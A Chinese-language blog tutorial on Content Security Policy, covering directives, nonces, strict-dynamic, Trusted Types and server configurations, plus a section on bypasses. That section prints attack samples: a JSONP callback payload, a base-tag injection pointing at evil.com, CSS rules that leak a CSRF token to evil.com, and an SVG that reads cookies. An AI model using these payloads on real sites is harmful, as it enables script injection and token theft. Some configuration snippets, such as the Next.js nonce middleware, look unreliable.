欢迎光临

Content Security Policy (CSP) 深度指南:从原理到实战,构建坚不可摧的 Web 安全防线

什么是 Content Security Policy?

Content Security Policy(内容安全策略,简称 CSP)是现代 Web 安全体系中最重要的防线之一。它通过 HTTP 响应头或

1
<meta>

标签向浏览器声明一组规则,明确告诉浏览器哪些资源是允许加载的、哪些脚本是可以执行的、哪些样式是可以应用的。如果违反了这些规则,浏览器将直接拦截违规操作。

CSP 的核心价值在于纵深防御(Defense in Depth)。即便攻击者成功注入了恶意代码(例如通过 XSS 漏洞),CSP 也能在浏览器层面阻止恶意脚本的执行,从而将攻击影响降到最低。根据 Google 的研究数据,正确配置的 CSP 可以阻止 95% 以上的 XSS 攻击

在 CSP 出现之前,Web 安全几乎完全依赖输入过滤和输出转义。但现实是,过滤和转义总是存在遗漏的可能。CSP 改变了游戏规则——它不再试图阻止攻击者注入代码,而是让浏览器本身拒绝执行未经授权的代码。这种「信任但验证」的思路是 CSP 的哲学基础。

Web Security CSP

CSP 的工作原理与指令体系

指令的语法结构

CSP 策略由多个指令组成,每个指令控制一类资源的加载策略。基本语法格式为:


1
Content-Security-Policy: directive1 value1 value2; directive2 value1

每个指令之间用分号

1
;

分隔,同一指令的多个值用空格分隔。理解这一点至关重要——分号是指令分隔符,空格是值分隔符。一个常见的错误是在值之间加了分号,导致后续值被解析为新指令。

核心指令详解

以下是 CSP 中最常用的核心指令:

指令 控制范围 示例
1
default-src
所有资源的默认策略
1
default-src 'self'
1
script-src
JavaScript 脚本来源
1
script-src 'self' 'nonce-abc123'
1
style-src
CSS 样式来源
1
style-src 'self' 'unsafe-inline'
1
img-src
图片来源
1
img-src 'self' data: https:
1
connect-src
Ajax/WebSocket 连接目标
1
connect-src 'self' https://api.example.com
1
font-src
Web 字体来源
1
font-src 'self' https://fonts.gstatic.com
1
frame-src
iframe 嵌入来源
1
frame-src 'self' https://youtube.com
1
object-src
Flash/插件来源
1
object-src 'none'
1
media-src
音视频来源
1
media-src 'self' https://cdn.example.com
1
base-uri
限制

1
<base>

标签的 href

1
base-uri 'self'
1
form-action
限制表单提交目标
1
form-action 'self'

源值(Source Values)

CSP 指令的值可以是以下几种类型:

  • 1
    'self'

    :匹配当前页面的同源资源(包括协议、域名和端口)

  • 1
    'none'

    :不允许任何资源加载(优先级最高)

  • 1
    'unsafe-inline'

    :允许内联脚本/样式(会大幅削弱安全性)

  • 1
    'unsafe-eval'

    :允许

    1
    eval()

    1
    new Function()

    等动态代码执行(极其危险)

  • 1
    'nonce-{random}'

    :只允许带有匹配 nonce 属性的内联脚本

  • 1
    '{hash}'

    :只允许内容哈希值匹配的内联脚本(SHA256/384/512)

  • URL 模式:精确域名、带路径的 URL 或通配符模式

一个关键概念:没有设置 fallback 的指令会使用

1
default-src

作为默认值。但有三个指令永远不会 fallback 到

1
default-src

1
base-uri

1
form-action

1
nonce

相关指令。这意味着如果你只设置了

1
default-src 'self'

1
base-uri

实际上是完全开放的,攻击者可以通过注入

1
<base>

标签劫持所有相对 URL 的资源加载地址。

CSP Level 3 的新特性与演进

CSP 规范已经从 Level 1 演进到了 Level 3(又称 CSP3),引入了大量新特性来弥补早期版本的不足。

Nonce 替代 unsafe-inline

CSP1 时代,如果你需要内联脚本,唯一的办法就是使用

1
'unsafe-inline'

,但这等于直接放弃了 CSP 对 XSS 的防护。CSP2 引入了 nonce 和 hash 机制,CSP3 进一步强化了它们:


1
2
3
4
5
6
# Nginx 配置:动态生成 nonce
add_header Content-Security-Policy "
  default-src 'self';
  script-src 'self' 'nonce-$request_id';
  style-src 'self' 'nonce-$request_id';
" always;

在 HTML 中使用对应的 nonce:


1
2
3
4
5
6
7
8
9
<script nonce="abc123def456">
  // 这段内联脚本会被允许执行
  console.log('Hello from inline script');
</script>

<script>
  // 没有 nonce 属性的内联脚本会被拦截
  console.log('This will be blocked');
</script>

Nonce 机制的核心优势是每次请求都生成新的随机值,攻击者无法预测 nonce 值,因此无法构造可执行的恶意内联脚本。相比 hash 机制,nonce 不需要预计算所有内联脚本的哈希值,更适合动态生成的页面。

strict-dynamic:信任传播的新模型

CSP3 最重要的一项创新是

1
'strict-dynamic'

。它改变了 CSP 的信任模型:不再基于 URL 白名单,而是基于信任链传播。


1
2
3
4
Content-Security-Policy:
  script-src 'nonce-abc123' 'strict-dynamic';
  object-src 'none';
  base-uri 'self';

当你使用

1
'strict-dynamic'

时:

  • 所有通过 nonce 或 hash 信任的脚本,它动态创建的
    1
    <script>

    标签也会被自动信任

  • URL 白名单(如
    1
    https://cdn.example.com

    )会被忽略——这是有意为之的

  • 1
    'unsafe-inline'

    也被忽略(在支持

    1
    'strict-dynamic'

    的浏览器中)

这个特性解决了长期以来 CSP 与第三方脚本加载器的冲突问题。以前你想用 Google Analytics、Facebook SDK 等第三方脚本,要么给它们开白名单,要么用

1
'unsafe-inline'

——两者都削弱了安全性。现在只需给引导加载脚本一个 nonce,它后续动态创建的脚本都会被自动信任。

trusted-types:防止 DOM XSS

CSP3 引入了

1
trusted-types

指令,专门用于防止 DOM 型 XSS(又称基于 DOM 的跨站脚本)。DOM XSS 的攻击面是那些将字符串直接插入 DOM 的危险 sink:


1
2
3
4
5
6
// 这些都是危险的 DOM sink
element.innerHTML = userInput;          // 危险!
element.outerHTML = userInput;          // 危险!
document.write(userInput);              // 危险!
scriptElement.src = userInput;          // 危险!
window.setInterval(userInput, 100);    // 危险!

启用

1
trusted-types

后,浏览器会拦截所有向危险 sink 传入普通字符串的操作,只允许传入经过类型检查的 TrustedHTML 对象:


1
2
3
Content-Security-Policy:
  trusted-types myPolicy default;
  require-trusted-types-for 'script';

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 定义一个 Trusted Types 策略
const policy = trustedTypes.createPolicy('myPolicy', {
  createHTML: (input) => {
    // 自定义的消毒逻辑
    return DOMPurify.sanitize(input);
  },
  createScript: (input) => {
    // 只允许特定格式的脚本
    if (/^[a-z]+\.js$/i.test(input)) {
      return input;
    }
    throw new Error('Invalid script URL');
  }
});

// 正确使用
element.innerHTML = policy.createHTML(userInput);

// 直接传字符串会被拦截
element.innerHTML = userInput; // TypeError!
1
trusted-types

将安全检查从被动拦截转为主动类型系统,这是 Web 安全领域的一个重要范式转变。Chrome 从 83 版本开始支持,Firefox 和 Safari 也在跟进中。

Security Code

从零构建生产级 CSP 策略

第一步:审计现有资源

不要从写 CSP 开始,而要从观察开始。最安全的方式是先用

1
Content-Security-Policy-Report-Only

模式收集数据:


1
2
3
4
5
6
7
8
9
# Nginx:仅报告模式,不拦截任何内容
add_header Content-Security-Policy-Report-Only "
  default-src 'none';
  script-src 'self';
  style-src 'self';
  img-src 'self';
  connect-src 'self';
  report-uri /csp-report;
" always;

同时需要搭建一个 CSP 报告接收端点:


1
2
3
4
5
6
7
8
9
10
11
12
# Express.js 接收 CSP 报告
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
  const report = req.body['csp-report'];
  console.log('CSP Violation:', {
    'document-uri': report['document-uri'],
    'violated-directive': report['violated-directive'],
    'blocked-uri': report['blocked-uri'],
    'source-file': report['source-file'],
    'line-number': report['line-number']
  });
  res.status(204).end();
});

第二步:渐进式收紧策略

基于报告数据,逐步收紧 CSP 策略。推荐的演进路径:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 第一阶段:最宽松,只禁止最危险的操作
Content-Security-Policy:
  default-src * data: blob:;
  script-src * 'unsafe-inline' 'unsafe-eval';
  object-src 'none';
  base-uri 'self';
  form-action 'self';

# 第二阶段:禁止 unsafe-eval,限制脚本来源
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com 'unsafe-inline';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  object-src 'none';
  base-uri 'self';
  form-action 'self';

# 第三阶段:移除 unsafe-inline,使用 nonce
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random}' 'strict-dynamic';
  style-src 'self' 'nonce-{random}';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  font-src 'self' https://fonts.gstatic.com;
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';

第三步:前端代码适配

移除所有内联脚本和内联事件处理器,改用 nonce 或外部脚本:


1
2
3
4
5
6
7
8
9
<!-- 之前:内联事件处理器(会被 CSP 拦截)-->
<button onclick="handleClick()">Click me</button>

<!-- 之后:使用 addEventListener -->
<button id="myButton">Click me</button>
<script nonce="{random}" src="/app.js"></script>

// app.js
document.getElementById('myButton').addEventListener('click', handleClick);

对于内联样式,也需要做类似处理:


1
2
3
4
5
6
7
8
9
<!-- 之前:内联 style 标签 -->
<style>
  .header { background: red; }
</style>

<!-- 之后:nonce 保护的 style 标签 -->
<style nonce="{random}">
  .header { background: red; }
</style>

第四步:处理第三方脚本

第三方脚本是 CSP 适配中最棘手的部分。推荐的处理方式:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 方案一:使用 strict-dynamic(推荐)
// 给第三方加载器一个 nonce,它动态创建的脚本自动信任
<script nonce="{random}" src="https://www.google-analytics.com/gtag/js?id=GA_ID"></script>

// 方案二:使用加载器脚本做代理
// 将所有第三方脚本集中在自己的加载器中
<script nonce="{random}" src="/js/loader.js"></script>

// loader.js
function loadThirdParty(url) {
  const s = document.createElement('script');
  s.src = url;
  document.head.appendChild(s);
}

if (document.cookie.includes('consent=analytics')) {
  loadThirdParty('https://www.googletagmanager.com/gtag/js?id=GA_ID');
}

Code Implementation

CSP 绕过与防御实战

JSONP 绕过

JSONP 端点是 CSP URL 白名单模式的天敌。如果你的 CSP 允许了某个域名(比如

1
https://www.googleapis.com

),攻击者可以利用该域名上的 JSONP 端点执行任意代码:


1
2
3
4
5
6
7
<!-- 攻击者构造的恶意脚本 -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(document.domain)//"></script>

<!-- Google 返回的内容 -->
/**/alert(document.domain)//({...json data...})

<!-- 结果:alert 执行了!因为域名在白名单中 -->

防御方法:使用

1
'strict-dynamic'

替代 URL 白名单。在 strict-dynamic 模式下,URL 白名单会被忽略,JSONP 绕过自然失效。

Base Tag 注入

如果 CSP 中没有设置

1
base-uri

,攻击者可以注入一个

1
<base>

标签,劫持所有相对 URL 的加载地址:


1
2
3
4
5
6
7
8
<!-- 攻击者注入 -->
<base href="https://evil.com/">

<!-- 页面中的合法脚本 -->
<script src="/js/app.js"></script>

<!-- 实际请求:https://evil.com/js/app.js -->
<!-- 攻击者在 evil.com 上放置恶意 app.js -->

防御方法:始终设置

1
base-uri 'self'

,这虽然不是

1
default-src

的 fallback 指令,但经常被遗忘。

CSS 注入

如果 CSP 允许了

1
'unsafe-inline'

样式,攻击者可以利用 CSS 选择器窃取页面数据:


1
2
3
4
5
6
7
<style>
  /* 逐字符探测 CSRF token */
  input[value^="a"] { background: url(https://evil.com/?token=a); }
  input[value^="ab"] { background: url(https://evil.com/?token=ab); }
  input[value^="abc"] { background: url(https://evil.com/?token=abc); }
  /* ... 可以覆盖大量组合 */
</style>

防御方法:移除

1
style-src

中的

1
'unsafe-inline'

,改用 nonce 机制。

SVG 文件中的脚本

SVG 文件可以包含 JavaScript,如果 CSP 的

1
img-src

允许加载外部 SVG:


1
2
3
4
5
6
7
8
9
10
<!-- evil.svg -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <circle cx="50" cy="50" r="40"/>
</svg>

<!-- 如果作为 <img> 加载,脚本不会执行(安全) -->
<img src="https://evil.com/evil.svg">

<!-- 如果作为 <object> 或直接嵌入,脚本会执行(危险!) -->
<object data="https://evil.com/evil.svg"></object>

防御方法:确保

1
object-src 'none'

,并避免将 SVG 作为

1
<object>

1
<iframe

嵌入。

各服务器框架的 CSP 配置实战

Nginx


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# /etc/nginx/conf.d/csp.conf

# 方案一:静态 nonce(仅用于演示,生产环境应动态生成)
map $request_id $csp_nonce {
  default $request_id;
}

server {
  listen 443 ssl http2;
  server_name example.com;

  # 动态 CSP 头
  add_header Content-Security-Policy "
    default-src 'self';
    script-src 'self' 'nonce-$csp_nonce' 'strict-dynamic';
    style-src 'self' 'nonce-$csp_nonce';
    img-src 'self' data: https:;
    connect-src 'self' https://api.example.com wss://ws.example.com;
    font-src 'self' https://fonts.gstatic.com;
    frame-src https://www.youtube.com;
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;
  " always;

  # 报告端点(生产推荐使用 report-to)
  add_header Reporting-Endpoints "default="https://report.example.com/csp"";
}

Express.js


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const express = require('express');
const crypto = require('crypto');
const app = express();

function cspMiddleware(req, res, next) {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce;

  res.setHeader('Content-Security-Policy', [
    `default-src 'self'`,
    `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
    `style-src 'self' 'nonce-${nonce}'`,
    `img-src 'self' data: https:`,
    `connect-src 'self' https://api.example.com`,
    `font-src 'self' https://fonts.gstatic.com`,
    `object-src 'none'`,
    `base-uri 'self'`,
    `form-action 'self'`,
    `frame-ancestors 'none'`,
    `upgrade-insecure-requests`
  ].join('; '));

  next();
}

app.use(cspMiddleware);

// 在模板中使用 nonce
app.get('/', (req, res) => {
  res.send(`
    <!DOCTYPE html>
    <html>
    <head>
      <style nonce="${res.locals.nonce}">
        body { font-family: sans-serif; }
      </style>
    </head>
    <body>
      <h1>Hello CSP</h1>
      <script nonce="${res.locals.nonce}">
        console.log('This inline script is allowed');
      </script>
    </body>
    </html>
  `);
});

app.listen(3000);

Next.js


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// next.config.js
const CSP_NONCE = ""; // 将在中间件中动态设置

module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: [
              "default-src 'self'",
              "script-src 'self' 'nonce-__CSP_NONCE__' 'strict-dynamic'",
              "style-src 'self' 'nonce-__CSP_NONCE__'",
              "img-src 'self' data: https:",
              "connect-src 'self' https://api.example.com",
              "font-src 'self'",
              "object-src 'none'",
              "base-uri 'self'",
              "form-action 'self'",
              "frame-ancestors 'none'"
            ].join('; ')
          }
        ]
      }
    ];
  }
};

// middleware.js - 动态替换 nonce
import { NextResponse } from 'next/server';
import crypto from 'crypto';

export function middleware(request) {
  const nonce = crypto.randomBytes(16).toString('base64');
  const response = NextResponse.next();

  // 替换 CSP 头中的占位符
  const csp = response.headers.get('Content-Security-Policy');
  if (csp) {
    response.headers.set(
      'Content-Security-Policy',
      csp.replace(/__CSP_NONCE__/g, nonce)
    );
  }

  // 将 nonce 注入到请求中供页面使用
  response.headers.set('x-nonce', nonce);
  return response;
}

export const config = { matcher: ['/((?!api|_next/static|_next/image|favicon.ico).*)'] };

Server Infrastructure

CSP 监控与持续运营

Reporting API

CSP3 推荐使用新的 Reporting API 替代旧的

1
report-uri


1
2
3
4
5
6
# 新版 Reporting API
Reporting-Endpoints: default="https://report.example.com/csp", csp="https://report.example.com/csp"
Content-Security-Policy: default-src 'self'; report-to csp

# 旧版 report-uri(仍然被广泛支持)
Content-Security-Policy: default-src 'self'; report-uri /csp-report

搭建 CSP 报告收集系统


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// 使用 Go + PostgreSQL 搭建 CSP 报告收集器
package main

import (
    "database/sql"
    "encoding/json"
    "log"
    "net/http"
    "time"
    _ "github.com/lib/pq"
)

type CSPReport struct {
    DocumentURI       string `json:"document-uri"`
    Referrer          string `json:"referrer"`
    ViolatedDirective string `json:"violated-directive"`
    BlockedURI        string `json:"blocked-uri"`
    SourceFile        string `json:"source-file"`
    LineNumber        int    `json:"line-number"`
    StatusCode        int    `json:"status-code"`
}

func main() {
    db, _ := sql.Open("postgres", "postgres://...")

    http.HandleFunc("/csp", func(w http.ResponseWriter, r *http.Request) {
        var body struct {
            Report CSPReport `json:"csp-report"`
        }
        if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
            http.Error(w, err.Error(), 400)
            return
        }

        _, _ = db.Exec(`
          INSERT INTO csp_reports
          (document_uri, violated_directive, blocked_uri, source_file, created_at)
          VALUES ($1, $2, $3, $4, $5)`,
            body.Report.DocumentURI,
            body.Report.ViolatedDirective,
            body.Report.BlockedURI,
            body.Report.SourceFile,
            time.Now(),
        )

        w.WriteHeader(204)
    })

    log.Fatal(http.ListenAndServe(":8080", nil))
}

CSP 部署检查清单

部署 CSP 前请逐一确认以下事项:

  • 1
    default-src

    已设置为最严格的基准(推荐

    1
    'self'

    1
    'none'

  • 1
    object-src 'none'

    已设置(禁止 Flash/插件加载)

  • 1
    base-uri 'self'

    已设置(防止 base 标签注入)

  • 1
    form-action

    已设置(限制表单提交目标)

  • 1
    frame-ancestors

    已设置(防止点击劫持)

  • 1
    script-src

    中不包含

    1
    'unsafe-inline'

    1
    'unsafe-eval'
  • ✅ 使用 nonce 或
    1
    'strict-dynamic'

    替代白名单

  • ✅ 已设置
    1
    upgrade-insecure-requests

    (自动升级 HTTP 到 HTTPS)

  • ✅ 已配置 Report-Only 模式并收集至少一周的违规报告
  • ✅ 前端代码已移除所有内联事件处理器
  • ✅ 第三方脚本已通过 nonce + strict-dynamic 信任链控制

CSP 不是一次性的配置任务,而是一个需要持续监控和迭代的过程。随着应用的功能增长、第三方依赖的变化,CSP 策略也需要同步更新。建议将 CSP 报告纳入日常监控体系,发现异常违规立即调查,这样才能确保 CSP 策略始终有效,真正成为你 Web 安全防线上坚不可摧的一环。

【本站文章皆为原创,未经允许不得转载】:汤不热吧 » Content Security Policy (CSP) 深度指南:从原理到实战,构建坚不可摧的 Web 安全防线
分享到: 更多 (0)